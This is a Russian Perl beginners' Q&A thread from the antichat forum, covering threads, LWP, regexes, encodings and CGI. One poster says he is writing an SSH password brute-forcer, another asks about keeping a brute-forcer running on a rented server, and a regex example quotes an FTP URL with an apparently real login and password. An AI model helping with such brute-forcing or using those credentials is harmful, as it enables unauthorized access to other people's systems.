Просмотр полной версии : [Perl] Новичкам: задаем вопросы
Страницы :
1
2
3
4
5
[
6]
7
Pashkela
26.10.2009, 01:32
Еще вопрос, с получением и дальнейшей обработкой данных из потоков разобрался. Но, если в потоке идет не простейшая локальная математическая операция, но получение данных из интернета посредством сокетов например, то нарушается очередность записи данных в массив. Т.е. что-то парсится раньше и пишется не свою очередь. Получается, что данные как бы все есть, но разрозненные. Вопрос - как заставить писать данные в массив в порядке заданной очереди, а не в порядке времени физического получения ответа? Спасибо
PS: Перечитал весь топик, серьезно, похожая проблема была у .Slip, но с точностью до наоборот - у меня тут афигенная асинхронность, но нарушается очередь записи, а надо по порядку. Надеюсь на вас, античатовцы :)
Юзать хэш и затем отсортировать его по ключам
Pashkela
26.10.2009, 13:51
это-то понятно, выше мы рассмотрели пример ретурна числа, и возвращали через массив, а как сделать ретурн хеша из multithread функции без предварительных его записывания в массив-посредник? Чтобы вернуть чистый хеш с ключами с результатами работы всех потоков, помеченными ключиками и, соотвественно, легко разбирающимися. Спасибо.
Заполняем хэш и делаем в конце функции
return \%myhash;
Pashkela
26.10.2009, 14:10
#!/usr/bin/perl
use threads;
use threads::shared;
my $n : shared;
$a = gets();
print $_, "\n" for @$a;
#print $a . "\n";
sub gets {
$thr = 10;
$n = 0;
for(0..$thr) {
$trl[$_] = threads->create(\&gets1);
}
for(0..$thr) {
$res[$_] = $trl[$_]->join;
}
sub gets1 {
$| = 1;
$ii = "";
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
$hash{$n} = $ii;
#print $ii . "\n";
}
#print $ii, "\n";
return \%hash
}
return \@res;
}
Относительно кода выше - как вернуть хеш, не так же ведь. И надо ли его шарить в мультитреде. Т.е. нужно, чтобы ключи у хеша были именно как в коде выше = $n. Только так потом можно будет идентифицировать данные
Ну если юзать расшаренный хэш, то
#!/usr/bin/perl
use threads;
use threads::shared;
my $n : shared;
my %hash : shared = ();
#my $refhash : shared = \%hash;
$a = gets();
print $_, ' => ', $hash{$_}, "\n" for keys %hash;
sub gets {
$thr = 10;
$n = 0;
%res = ();
for(0..$thr) {
$trl[$_] = threads->create(\&gets1);
}
for(0..$thr) {
$trl[$_]->join;
}
sub gets1 {
$| = 1;
$ii = "";
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
$hash{$n} = $ii;
}
}
}
Pashkela
26.10.2009, 14:41
спасибо, только чото не пойму - нет ретурна, что такое %res = (); и какую функцию несет
Но это то, что надо, так или иначе!!!! Сенкс большое
%res = (); - это пустой хэш )
Ретурны я убрал, т.к. хэш расшаренный и возвращать как бы ничего не надо. А вот пример без использования шарного хэша и с ретурнами
#!/usr/bin/perl
use threads;
use threads::shared;
my $n : shared;
$a = gets();
print $_, ' => ', $a->{$_}, "\n" for sort {$a <=> $b} keys %$a;
#print $a . "\n";
sub gets {
$thr = 10;
$n = 0;
%res = ();
for(0..$thr) {
$trl[$_] = threads->create(\&gets1);
}
for(0..$thr) {
#$res[$_] = $trl[$_]->join;
%res = (%res, %{$trl[$_]->join});
#print $n, "\n";
}
sub gets1 {
$| = 1;
$ii = "";
while ($n < 10) {
{ lock($n);
$n++; }
$ii .= $n;
$hash{$n} = $ii;
#print $ii . "\n";
}
#print $ii, "\n";
return \%hash
}
return \%res;
}
Pashkela
26.10.2009, 15:09
Великолепно! Оба варианта рабочие. Чем один лучше или хуже другого? Шара больше памяти жрет при большом потоке или ...?
my @fuck = (1..10);
my @s = (18,19);
sub shit {
my(@x,@y) = @_;
print @x."\r\n";
print @y."\r\n";
}
shit(@fuck,@s);
system("PAUSE");
Выводит 12,0:(.Хотел вывести значения обоих массивов...
Как осуществить запись в фаил?:
open(b,">s.txt);
print b "sam";
close(b);
В итоге пусто(
Pashkela
27.10.2009, 05:42
#!/usr/bin/perl
open(b,">>s.txt");
print b "sam";
close(b);
хмм,запись заработала,а вот чтение хромает:
open(b,"<s.txt");
print b STDOUT; # по всякому уже))разве что в другой фаил копирнуть могу,но на #консольку хотел
close(b);
Pashkela
27.10.2009, 06:12
#!/usr/bin/perl
open(b, "<", "s.txt");
while(<b>) {
chomp;
print $_ . "\n";
}
chomp;
print $_ . "\n";
0_o
my @fuck = (1..10);
my @s = (18,19);
sub shit {
my(@x,@y) = @_;
print @x."\r\n";
print @y."\r\n";
}
shit(@fuck,@s);
system("PAUSE");
Выводит 12,0:(.Хотел вывести значения обоих массивов...
#!/usr/bin/perl
use strict;
use warnings;
$\ = "\n";
my @fuck = (1..10);
my @s = (18,19);
sub shit {
my ($x, $y) = @_;
print join ', ', @$x;
print join ', ', @$y;
}
shit (\@fuck, \@s);
Подскажите как осуществлять поиск не в переменной $_ ?Допустим я открыл дескриптор файла, поместил содержимое файла в массив затем его преобразовал в строку и уже в этой строке как осуществить поиск?Постоянно присваивать переменной $_ ??? А если искать не в скаляре а в массиве?Так можно?))
Уже разобрался только не получается замена слова в текстовом файле((((
#!/usr/bin/Perl -w open (FILE,">>text.txt")||die "error $!"; @filetxt=<FILE>; $file=join ('',@filetxt);chomp $file; $file=~s/.*are.*/was/; print FILE $file; close(FILE);
В чем тут проблема???
Попробуй так
open(F, "<file.txt") || die $!;
undef $/;
my $file = <F>;
close F;
$file =~ s/.*are.*/was/;
open(F, ">file.txt") || die $!;
print F $file;
close F;
Спасибо))Получилось, подскажи, а что за переменная $/ ? и что делает функа my?))
http://www.perl.com/doc/manual/html/pod/perlvar.html
http://perldoc.perl.org/functions/my.html
C:\>perl -e " for (1..5) { print 'X'.\"\r\n\" x 2; } "
X
X
X
X
X
Как сделать так,чтобы перл в ряды всё это в колонки выводил ?) Такой ощущение,что оператор х игнорируется,потому,что если убрать \r\n,то работает,но всё в однц строчку пишет соответственно.
А какой вывод ты хочешь получить то?
Спасибо))Получилось, подскажи, а что за переменная $/ ? и что делает функа my?))
Если непонятно: оператор my() (системная функция) объявляет переменную и устанавливает её в лексической области видимости.
Лексическая область видимости - это временная память,куда сохраняются имена переменных.Значения же переменных обычно сохраняются в стеках.
В общем,переменные лексической области видимости называют в других языках программирования как локальные,но,в отличие от других языков, в PERL пакетные переменные(глобальные) и локальные(пеерменные лексической области видимости) не конфликтуют между собой хотя бы из-за лексемы ::
ЗЫ: Знаю,что наговорил много лишнего,но тем не менее...
А какой вывод ты хочешь получить то?
Всмысле какой ? в STDOUT(на экран).Просто использовние perl -e меня меньше напрягает,чем открывать закрывать фаил...это что-то вроде теста.
В смысле мне непонятно:
Как сделать так,чтобы перл в ряды всё это в колонки выводил ?)
ааа...:))))Ну,в такой вид:
х ... ... ...
х
х
х
х
... я пометил следующую колонку:)
Вроде того?
perl -e "for(1..5) {print $/ unless $_ % 1; print 'X ' x 2}"
Оп,работает...а почему мой не работает не пойму.Всё же правильно вроде.
ЗЫ: А что такое print $/ unless $_ % 1; ?
Да это я что-то не то сделал, "unless $_ % 1;" можно убрать. Просто делает перевод строки каждую итерацию.
perl -le "print 'X ' x 2 for 1..5"
Бле...или я тупой,или не понимаю,почему у тебя работает наоборот...разве так можно ?... как это вообще работает ?!
perl -e "(for 1..5) { print 'X ' x 2 }" это я ещё понимаю...print оператор в теле цикла for...
В перле можно :) Вместо кода
for (1..5) { print 'X ' x 2 }
можно писать
print 'X ' x 2 for 1..5;
Такую вещь можно провернуть и с while, if, unless, until, foreach. Непривычно, конечно, для новичков
В перле можно :) Вместо кода
for (1..5) { print 'X ' x 2 }
можно писать
print 'X ' x 2 for 1..5;
Такую вещь можно провернуть и с while, if, unless, until, foreach. Непривычно, конечно, для новичков
ну да, а можно print 'X'x10 :D
gisTy, читайте выше, что требовалось
Vlad&slav
07.11.2009, 18:44
у нас 3 файла в одном в столбик одни слова в другом в столбик другие, надо для каждого слова из первого дописать через звёздочку каждое слово из второго и всё получившееся записать в третий фаил
#!/usr/bin/perl
my $a = '1,txt'; # c тем к чему приписываем
my $b = '2.txt'; # c тем что приписываем
my $w = 'end.txt'; # куда всё запишится
open(log,>>$w);
while($a)
{
print log .....;
}
close(log);
я перл не знаю )
Как соединиться с сервером (google.ru,80 например) без использования сокетов ? Геморрно писать это по памяти ) Через ООП можно как-то,но я пока не понимаю,как юзать...пример всё равно нужен(.
Pashkela
07.11.2009, 22:06
#!/usr/bin/perl
use LWP::Simple;
$content = get("http://google.ru/");
die "Couldn't get it!" unless defined $content;
print $content;
Кул...респект Пашке.А LWP::Simple - это пакет или модуль ? Извини за глупый вопрос. И есть ли где-то описания модулей на русском ?
Pashkela
07.11.2009, 22:53
http://www.opennet.ru/base/dev/perl_lwp.txt.html
А как принять пользовательский ввод от пользователя с консоли,чтобы в метод get() подставлялась переменная с переданным значением ?
Например,есть тот же код:
#!/usr/bin/perl
use LWP::Simple;
$content = get("http://google.ru");
print $content;
system("PAUSE");
Pashkela
08.11.2009, 02:05
#!/usr/bin/perl
use LWP::Simple;
print "Enter URL:\n";
$choice = <STDIN>;
chomp $choice;
$content = get($choice);
die "Couldn't get it!" unless defined $content;
print $content;
$choice = <STDIN>;
chomp $choice;
chomp($choice = <>);
Такая проблема:
Есть,к примеру,4 функции,вычисляющие сумму,разность,деление и вычитание от двух аргументов.Объявил все функции в модуле.Как теперь получить к ним доступ из пакета (а также переменным в каждой функции) ? Нужен рабочий пример.Вместо реальных функции можно использовать гипотетические - (sum,del и т.д.).
Если я объявляю,скажем,переменную (обычную) в модуле,скажем,KE.pl,а в исполняемом скрипте использую директиву use,то :: можно не использовать,а сразу использовать переменную как лексическую(как будто бы модуля и вовсе нет...).А когда же тогда использовать :: ?
http://www.intuit.ru/department/pl/perl/class/free/13/
Создал модуль W.pm:
package S;
sub pr {
my ($x,$y) = @_;
$z = $x*$y;
return $z;
}
1;
Затем - фаил w.pl:
use W;
$obj = S->pr(5,9);
print $obj;
Вернуло 0.Почему ?
В LWP::UserAgent при использовании проксика надо будет использовать $browser->proxy(['http']=>"http://".$proxy_addr."/"); ???
$proxy_addr - это я так понимаю адрес прокси, но как быть если прокся например на порту 3128.
товишь получается при использовании проксика надо будет использовать $browser->proxy(['http']=>"http://212.212.212.1:3128/"); ???
Pashkela
08.11.2009, 20:27
Прокси лучше юзать с сокетами, имхо
ну а если через UA?? а то переписывать весь скрипт вкорне не охото
Pashkela
08.11.2009, 20:42
http://forum.antichat.ru/showthread.php?t=20299
Pashkela
10.11.2009, 05:03
Вопрос, фиг знает как - один аллах ведает, но таки заставил работать
Net::SSH::W32Perl - аналог Net::SSH::Perl
под activeperl под виндой, но:
- заходит, только если выставить
my $ssh = Net::SSH::W32Perl->new (
$host,
interactive => 1,
....
т.е. ввод пароля вручную через консоль, любые попытки автологина жестко пресекаются и пишет Permission denied и прочее. Много, очень много читал про
Net::SSH::Perl::Auth::KeyboardIn
причиндалы есть, но не помогает. Кто в курске - подскажите плз, как все таки ввести автоматически пароль
Он у тебя просит ввести пароль через STDIN ?
Pashkela
10.11.2009, 05:40
ага, если interactive => 1 или в файле AuthMgr.pm закоментировать строчку
next unless $auth->enabled;
паблик ключа на компе нет, пишу брут, а не клиент
А если писать на IO::Socket ?
Pashkela
10.11.2009, 05:46
SSH доступ на сокетах? Даже не видел такого в гугле. Есть пример? Там же тьма-тьмущая всякого, чтобы вообще SSH работало - начиная от crypt-des и кончая другими ужасами
biophreak
10.11.2009, 15:24
Хм, а на чем по-твоему SSH работает...я всегда думал, что поверх TCP?
Возьми доку по протоколу и пиши на сокетах...работать будет быстрее, да еще можешь реализовать то, чего нету в модулях :)
Драсьте, я новичок в Perl...
Ни как не могу нописать прокси серва для рабочей танции *nix.
(пробовал использовать wwwlib (или libwww - не помню) - не осилил)
Идея такая:
Прокси(как Daemon) берет весь трафик
и работает с ним
через цепочку прокси...
так же обратно...
На всяких форумах писали что это делается просто, но на ипримере ни кто не смог показать.
Заранее спазибо!
Чё "виртуально" ни кто не знает???
Привет ачат. У меня есть объект класса LWP::UserAgent. Скажите, как мне используя метод класса get(не post, не request) передать cookie, а по возвращение результата достать другие cookie
biophreak
16.11.2009, 10:05
Ну просто вставь руками в запрос, что-т типа:
$resp = $ua->get($url,
'Accept' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
'Accept-Language' => 'ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3',
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => 'windows-1251,utf-8;q=0.7,*;q=0.7',
'Connection' => 'keep-alive',
'Keep-Alive' => '300',
'Cookie' => 'id=12345'
);
Поулчать так же, парси ответ на заголовок Cookie =)
Это самое простое решение.
Ну это я видел, когда гуглил, а вот как получить?
Поулчать так же, парси ответ на заголовок Cookie =)
А как заголовки спарсить?
Pashkela
16.11.2009, 16:25
юзать сокеты
А как заголовки спарсить?
Если чисто кукисы, то
$ua = new LWP::UserAgent;
print $ua->get('http://r0.ru/')->header('Set-Cookie');
Если все заголовки, то
print $ua->get('http://r0.ru/')->headers->as_string;
Скажите, как отправлять переменные GET? Вот так:
my $response = $ua->get('http://example.net/raskopki/send.php?outurl=http://eaxmple.net/raskopki/response.pl&loadurl=http://example.net/raskopki/picture.jpg',
'Accept' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
'Accept-Language' => 'ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3',
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => 'windows-1251,utf-8;q=0.7,*;q=0.7',
'Connection' => 'keep-alive',
'Keep-Alive' => '300');
Вроде не правильно, или всё таки правильно? В том дело, что тут в качестве переменных выступают url адреса
Вроде правильно, если нет ошибок синтаксиса. Если сомневаетесь, вооружитесь снифером и проверьте, те ли заголовки отправляет ваш скрипт
biophreak
17.11.2009, 22:51
Проверь получаемый статус.
Да не в этом ошибка. Разобрался
[Online]
19.11.2009, 22:26
Кто подскажет мне 2 вопроса ?)
Как вывести все эл-ты массива ?
И нужен скрипт пхп для проверки пр)
Как вывести все эл-ты массива ?
Например
print "@arr\n";
print join ', ' => @arr;
print for @arr;
И нужен скрипт пхп для проверки пр)
Задайте вопрос в соответствующей теме либо поищите в "Полезных скриптах"
Как отсюда вычленить имя хоста? Своя регулярка не пашет, хз почему:
$akk = "ftp://Mosbuild:A_coQd2X@ftp.ite-expo.ru";
if($akk =~ /\@[^ ]*/) {print "$1\n";}
Pashkela
21.11.2009, 19:47
/^ftp:\/\/?(.*):(.*)\@(.*):(\d+)/i
чтобы узреть регулярку нажми quote
Как отсюда вычленить имя хоста? Своя регулярка не пашет, хз почему:
$akk = "ftp://Mosbuild:A_coQd2X@ftp.ite-expo.ru";
if($akk =~ /\@[^ ]*/) {print "$1\n";}
my $akk = "ftp://Mosbuild:A_coQd2X\@ftp.ite-expo.ru"; #или брать в одинарные кавычки
if($akk =~ /\@[^ ]*/) {print $&, "\n";}
Уже разобрался, всё оказалось предельно просто.
Спасибо всем.
Привет ачат. Я опять про LWP. Сори если надоел, но почему при редиректе(внешнем) теряются cookie, которые просит установить сервер до редиректа. Например:
my $ua = LWP::UserAgent->new;
my $response = $ua->get("http://www.liex.ru/".$link,
'Accept' => 'text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5',
'Accept-Language' => 'ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3',
'Accept-Encoding' => 'gzip,deflate',
'Accept-Charset' => 'windows-1251,utf-8;q=0.7,*;q=0.7',
'Connection' => 'close');
my %cookies = $response->header('Set-Cookie');
Вместо $link можно поставить winflip.htm. Когда я работал с сокетами выходило двое кук JSESSIONID и referral, а теперь токо JSESSIONID, а мне больше referral нужен. В общем помогите.
Мда.. Недочитал))))
$ua = LWP::UserAgent->new( %options )
This method constructs a new LWP::UserAgent object and returns it. Key/value pair arguments may be provided to set up the initial state. The following options correspond to attribute methods described below:
KEY DEFAULT
----------- --------------------
agent "libwww-perl/#.###"
from undef
conn_cache undef
cookie_jar undef
default_headers HTTP::Headers->new
local_address undef
max_size undef
max_redirect 7
parse_head 1
protocols_allowed undef
protocols_forbidden undef
requests_redirectable ['GET', 'HEAD']
timeout 180
The following additional options are also accepted: If the env_proxy option is passed in with a TRUE value, then proxy settings are read from environment variables (see env_proxy() method below). If the keep_alive option is passed in, then a LWP::ConnCache is set up (see conn_cache() method below). The keep_alive value is passed on as the total_capacity for the connection cache.
papillon
28.11.2009, 19:03
Здрасте, вам. Я решил начать изучать (решительно) Perl. Но вот только,я не как не могу разобраться в нем. Прошу помощи у умов. Начну с начала. Во первых у меня windows xp, скачал книгу "изучаем perl", установил программу "Perl express 2.4.5". Но в книге по ходу скрипты которые прога не понимает. По этому устанол другую програму "ActivePerl-5.10.1.1006-MSWin32-x86-291086.msi". Ну вобщем я ее даже запустить не смог.
Я так понимаю тема для новичков, по этому прошу не смеяться.
И вообще подскажите как начать изучения языка с нуля. Какие книги нужны, компиляторы, с чего наченали Вы?
Буду очень благодарен.
Сразу на заметку Perl - не компилятор, а интерпретатор.
Лично у меня на windows стоит indigoperl.(indigostar.com кажись).
А "библией" по perl является знаменитая книга http://www.books.ru/shop/books/11085
Здрасте, вам. Я решил начать изучать (решительно) Perl. Но вот только,я не как не могу разобраться в нем. Прошу помощи у умов. Начну с начала. Во первых у меня windows xp, скачал книгу "изучаем perl", установил программу "Perl express 2.4.5". Но в книге по ходу скрипты которые прога не понимает. По этому устанол другую програму "ActivePerl-5.10.1.1006-MSWin32-x86-291086.msi". Ну вобщем я ее даже запустить не смог.
Я так понимаю тема для новичков, по этому прошу не смеяться.
И вообще подскажите как начать изучения языка с нуля. Какие книги нужны, компиляторы, с чего наченали Вы?
Буду очень благодарен.
также инетересен вопрос,а если у меня 7 то тоже самое все абсолютно подойдет?papillon плис напишишь в пм если у тебя получилось :rolleyes: парни все также на 7..
Читайте кэмел-бук и другие книги.
anubis666
29.11.2009, 14:59
Здравствуйте помогите пожалуйста как с помощью unlink удалить все файлы в директории которые содержат в имени символы avi,mpeg,flv,jpg?
Что-то в этом роде
opendir (...);
while ($file = readdir(...)) {
unlink $file if $file =~ /\.(avi|mpeg|flv|jpg)$/;
}
closedir (...);
запускай его в папке где их надо удалить.
#!/usr/bin/perl -w
@rash = ('jpg', 'mpeg', 'avi', 'flv');
foreach $file (@rash){unlink <*.$file>;}
Скажите плиз. Модуль Net::OSCAR ещё живой? :confused: А то может после 101 смены протокола ICQ он и вовсе нерабочий :mad: . Собственно авторизация и принятие сообщений работает, а вот отправка не хочет:
use CGI::Carp qw(fatalsToBrowser);
print "Content-Type: text/html\n\n";
use Net::OSCAR qw(:standard);
$uin="сюда я вписываю юин";
$password="Здесь пароль";
sub im_in {
my($oscar, $sender, $message, $is_away) = @_;
print "[AWAY] " if $is_away;
$oscar->signoff;
}
$oscar = Net::OSCAR->new();
$oscar->set_callback_im_in(\&im_in);
$oscar->signon($uin, $password);
$oscar->send_im('Здесь юин получателя', 'fnjh');
while(1) {
$oscar->do_one_loop();
}
anubis666
04.12.2009, 15:47
Здравствуйте!помогите пожалуйста :D .
#!d:/Perl/bin/perl.exe
use DBI;
use CGI qw(:standart :cgi);
use CGI::cookie;
use CGI::Carp qw(fatalsToBrowser);
######################################
print "Content-Type: text/html\n\n";
my $user = param('user');
my $pass = param('pass');
my $chanel = param('chanel');
######################################
my $sql = DBI->connect('DBI:mysql:database=chanel;host=localhost' , 'логин', 'пароль') || die $sql::errstr;
######################################
$result = $sql->prepare("SELECT users FROM chanel WHERE users='$user'");
$result->execute();
$result2 = $sql->prepare("SELECT pass FROM chanel WHERE pass='$pass'");
$result2->execute();
$result3 = $sql->prepare("SELECT chanel FROM chanel WHERE chanel='$chanel'");
$result3->execute();
######################################
my $result_user = $result->fetchrow_hashref();
my $result_pass = $result2->fetchrow_hashref();
my $result_chanel = $result3->fetchrow_hashref();
######################################
$cook = new CGI::Cookie("-name => admin_chanel,
-value => 666,
-expires => +3M,
-domain => 10.33.195.248,
-path => /cgi-bin
-secure => 1
");
######################################
$user2=$result_user->{users};
$pass2=$result_pass->{pass};
$chanel2=$result_chanel->{chanel};
if(($user == $user2)&&($pass eq $pass2)&&($chanel eq $chanel2))
{print header(-cookie=>$cook);
}
else
{print "Prover`te dannii";
}
$sql->disconnect();
Значит суть проблемы такова что когда пользователь ввёл логин,пароль и название канала(и эти данные проверились в бд)то куки не создаются.(почему??),и в логах апача появляется сообщение [Fri Dec 04 14:33:44 2009] [error] [client 10.33.195.248] [Fri Dec 4 14:33:44 2009] login.pl: DBI::db=HASH(0x1bca77c)->disconnect invalidates 3 active statement handles (either destroy statement handles or call finish on them before disconnecting) at D:/wamp/bin/apache/Apache2.2.11/cgi-bin/login.pl line 42., referer: http://10.33.195.248/page.php?3 (42 строка это $sql->disconnect(); ) в чем проблема??
zifanchuck
05.12.2009, 18:01
Хай всем)) начал учить понемногу перл. вообщим вот вопрос как сделать чтобы вместо 1e+050 выводило число. там оно большое должно быть
use Math::BigInt;
my $n = Math::BigInt->new (1e+050);
print $n;
Какбэ нужен пример скрипта, не могу понять как реализовать следующие, вот появилась на форуме месага по адресу htssp://ololo.forum/post11 как сделать так что бы текст месаги записывался в фаил, как вообще реализовать что бы каждые например 5 сек проверялось на наличе нового сообщения и при его появлении оно записывалось.....карочэ умельцэ запостите чего-нибудь)
Какбэ надо читать книги/статьи по перлу
Если некогда читать, могу за 20$ написать тебе скрипт
Если нет денег, иди читать книги, вот когда будут у тебя конкретные вопросы, тогда и приходи
Хоть написал бы адрес форума. Или в личку кинь
Не думаю что такое 20$ стоит, спудер ты меня дуришь).LStr1ke зачем тебе форум ? для примера любой бы сгодился....зачем мне себя мучать,
если кто-то может помочь тут ! (; вот понадобилось, обратился, не помогут ну тогда уж сам буду... хее
Не думаю что скрипт в 20 строк кода, причем элементарная работа с LWP::Simple и регулярками, может запутать человека, который знает основные принципы программирования на Perl
знать то знаю, практикэ нет,это будет моя первая программа (:
Я хочу написать простенький icq бот на perl. Скажите какой модуль использовать, Net::OSKAR ещё работает после изменений в протоколе? А то у меня метод отправки сообщения не работает
как можно реализовать работу с CORBA из perl? Информации в инете совсем нет... :confused:
как можно реализовать работу с CORBA из perl? Информации в инете совсем нет..
Совсем, совсем?
http://search.cpan.org/search?query=corba&mode=all
тогда лучше на Perl писать из под linux?
потому что не все модули, ссылку на которые ты мне дал устанавливаются на ActivePerl
А в ручную не установить?
Pashkela
09.12.2009, 18:33
http://xpoint.ru/know-how/Perl/UstanovkaModuley?comments
или просто запустить cmd, перейти в c:\activeperl\bin\ и набрать cpan
anubis666
09.12.2009, 22:35
как написать демон perl на windows? :confused:
Берешь любой скрипт и используешь
http://search.cpan.org/~msergeant/PPerl-0.25/PPerl.pm
Скажите как написать на perl простейшего icq бота с помощью модуля cpan, чтобы была отправка сообщений((((
anubis666
09.12.2009, 23:36
Берешь любой скрипт и используешь
http://search.cpan.org/~msergeant/PPerl-0.25/PPerl.pm
а есть другие варианты? просто этот у меня не компилится..
Не мог бы кто-нибудь, знакомый с перлом, набросать скрипт, выполняющий 3 функции:
1) get запрос к урлу1.
2) post запрос к урлу2 с указанной строкой.
3) get запрос к урлу3.
Все запросы идут на 1 сайт, и важно, чтобы была поддержка куков - т.е. они при каждом запросе посылались, а читались бы из файла или прямо из тела скрипта (т.к. они постоянны,я их руками забью).
Большое спасибо!
gkristall
14.12.2009, 03:21
как прикрутить curl 0_O
budden
perldoc LWP::UserAgent
perldoc HTTP::Request::Common
и так далее
хз, под винду я пользовался UltraEdit
Ошибка тут
sub f_parser {
our @link;
my($tag, %links) = @_;
if ($tag eq 'a') { push(@link, $links{'href'}) };
}
zeppe1in
21.12.2009, 14:52
пишет же что скобочку где то не закрыл.
if ($tag eq 'a') { push(@link, $links{'href'}) ;
Здравствуйте..!!!
Перл не так давно начал юзать, поэтому коли что не так не обессудьте... :rolleyes:
Решил переписать несколько своих ПХП-шных скриптов под АктивПерл... Вот вопрос:
Нужно на сайт с кодировкой UTF-8, закинуть русскоязычное сообщение... И в общем то всё работает, сообщение уходит, но... Проблемы с кодировкой... В ПХП скрипте решалось это так:
$mess = iconv('Windows-1251', 'UTF-8', $mess);
но в АктивПерл нет встроенной iconv, хотя говорят, что можно поставить, но это в крайнем случае... Мне бы хотелось обойтись без установки доп модулей (если возможно, конечно)
Как пытался решить проблему:
1)
use utf8;
.....
utf8::encode($mes);
2)
use Encode;
.............
$mes = encode('utf8', $mes);
Ни один из способов не проканал.. (
Есть ли какие варианты решения данной траблы..?! Желательно без установки доп модулей на Актив Перл...
Юзайте функцию from_to модуля Encode. И почитайте тут - http://www.nestor.minsk.by/sr/2008/09/sr80902.html
Pashkela
23.12.2009, 14:29
Только что на винде специально проверил - работает:
use Encode;
open( FILE, ">>" . "123.txt" );
$mes = "Привет";
Encode::from_to($mes, 'windows-1251', 'utf-8');
print FILE $mes . "\n";
close(FILE);
Ребята у меня такой вопрос - Брут на дэдике - регулярно выскакивает табличка "Удалённый рабочий стол отключен" как её вырубить чтоб она не появлялась , а то на автомат не как не поставить , приходится постоянно кликать ОК , что бы брутить дальше иначе весь процесс тормазиться !
restart_05
24.12.2009, 15:45
как можно закодировать $text = "Текст";
Доброго времени суток!) Вот пишу скрипт, обрабатывающий определенным образом инет страницу(указываем урл). Суть проблемы в том, что я не знаю какой модуль использовать для парсинга страниц? И что делать, например, с сылками вида www.site.ru/page1/ , где не указан конкрентный файл?
phpdreamer
25.12.2009, 02:04
не экстрасенсы мы....
w_2k, http://www.citforum.ru/internet/perl/regexp/
Osip, ты наркоман челе?
Как выбрать нужную мне инфу я понял, я имел ввиду как подключится к странице, что бы ее можно было обрабатывать... Максимум что я использовал это open FILE "file.htm"...
Подскажите как в перле сделать preg_match_all ?
Вот нужно переписать на Perl:
preg_match_all('/qwe[0-9]{1,2}asd/ims', $content, $m);
natsort($m[0]);
$p = array_unique($m[0]);
sort($p);
Спасибо.
Подскажите как в перле сделать preg_match_all ?
$str =~ /regexp/g
$str =~ /regexp/g
a ne tak?
@arr=$str=~ /regexp/g
tam zhe massiv)
anubis666
30.12.2009, 00:06
Здравствуйте,помогите пожалуйста с постраничной навигацией)значит так.есть таблица VIDEO в ней есть поле VIDEO так вот чтобы получить данные из поля я использую скрипт ("
my $sth2 = $dbh->prepare(qq{SELECT video_title FROM video});
$sth2->execute();
while (my ($title) =
$sth2->fetchrow_array())
{
print "<p>
<button onclick='showPopWin('http://10.33.195.248//ajax/index.html', 400, 200, null);>$title</button></p>";
}
print "</TABLE><div>";
$sth2->finish();
")
так вот проблема в том что всё выводится на одну страницу..так вот вопрос как вывести эти данные по странично к примеру по 20 значений на страницу?
anubis666 как то так:
anubis666
my ($c, $k) = (0,0);
my %html;
..
..
while..
{
$c++;
if( $c == 20 )
{
$k++;
$c = 0;
}
push @{$html{$k}}, "<p><button onclick='showPopWin('http://10.33.195.248//ajax/index.html', 400, 200, null);>$title</button></p>";
}
..
..
Здрасте... Туплю второй час... :rolleyes:
Шлю запрос на сайт через сокет, считываю ответ:
$str = join('', <SOCK>);
Получаю в $str примерно следующее:
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Wed, 30 Dec 2009 20:54:08 GMT
Content-Type: text/html; charset=iso-8859-1
Connection: close
Content-Length: 294
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title></title>
</head><body>
бла-бла-бла....
</body></html>
Так вот, нужно разбить содержимое $str на 2 части заголовки ($head) и контент ($content)... Вот с этим и запарка...
Пробую сразу при чтении отделять заголовки так:
while ($s = <SOCK>)
{
$str .= $s;
last if (условие выхода из цикла);
}
по сути, условие выхода из цикла тут - пустая строка, которая как раз отделяет заголовки от контента, но не получается, в результат сохраняется только первоя строка заголовков, как только не изворачивался...
Помогите.. Цель: закинуть заголовки и контент в разные переменные... :confused:
ну можно так
$s =~ m%<%s;
print $';
попробуй
m0nzt3r, так он закинул в $head все заголовки + ещё одну строку контента...
Kaimi, то что нужно.. Рабтает...
Спасибо всем...
ЗЫ: я пытался так last if ($s == "\r\n"); :D :rolleyes:
гг, == только для сравнения чисел, для строк юзается eq
ЗЫ. Скобки в структуре last if условие; и подобных можно опустить
Как проверить наличия файла .php на сервере ?
допустим если присутсвеует то yes , если нету то no...
HEAD- или GET-запрос на сервер. Если не юзается mod_rewrite, сервер вернет 200 OK в случае существования файла
в голову тока такое лезет
use LWP::Simple;
use LWP::UserAgent;
my $url = 'http://site.ru/ololo.php';
my $content = get $url;
die "нету $url";
но это не годится....
Привет всем. Сёдня наткнулся на такую вот паранойу.
#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print 'prive<t';
Выводит prive. Я вообще не пойму ничего, ведь одинарнные кавычки выводят всё как есть.
PS. Я болею, так что не ругайте сильно)))
PPS Это при просмотре исходного кода
[none], какой-то бредовый код написан.
winflip, а если заглянуть в исходный код страницы?
Привет всем. Сёдня наткнулся на такую вот паранойу.
#!/usr/bin/perl
print "Content-Type: text/html\n\n";
print 'prive<t';
Выводит prive. Я вообще не пойму ничего, ведь одинарнные кавычки выводят всё как есть.
PS. Я болею, так что не ругайте сильно)))
PPS Это при просмотре исходного кода
Z:\home\test\www\perl>5.pl
Content-Type: text/html
prive<t
Все нормально выводит
А ты возьми код, в руки свои ! сделай его гладким, хорошим и правильным ! что бы глазу радостно смотреть было ! и преподноси его мне (:
krypt3r, а если дочитывать пост до конца???)))))
Короче вроде проблемка в chrome, он как то не полно показывает иногда исходный код в данном случае, потому как при text/plain всё норм, спасибо канешн за помощь
Здравствуйте..))
Имеется скрипт написанный под актив перл.. Во время работы скрипта в консоль выдаются сообщения (типа статистики) Хотелось бы узнать, можно ли очищать программно консоль, то есть стирать полностью все сообщения с экрана во время работы скрипта..?!
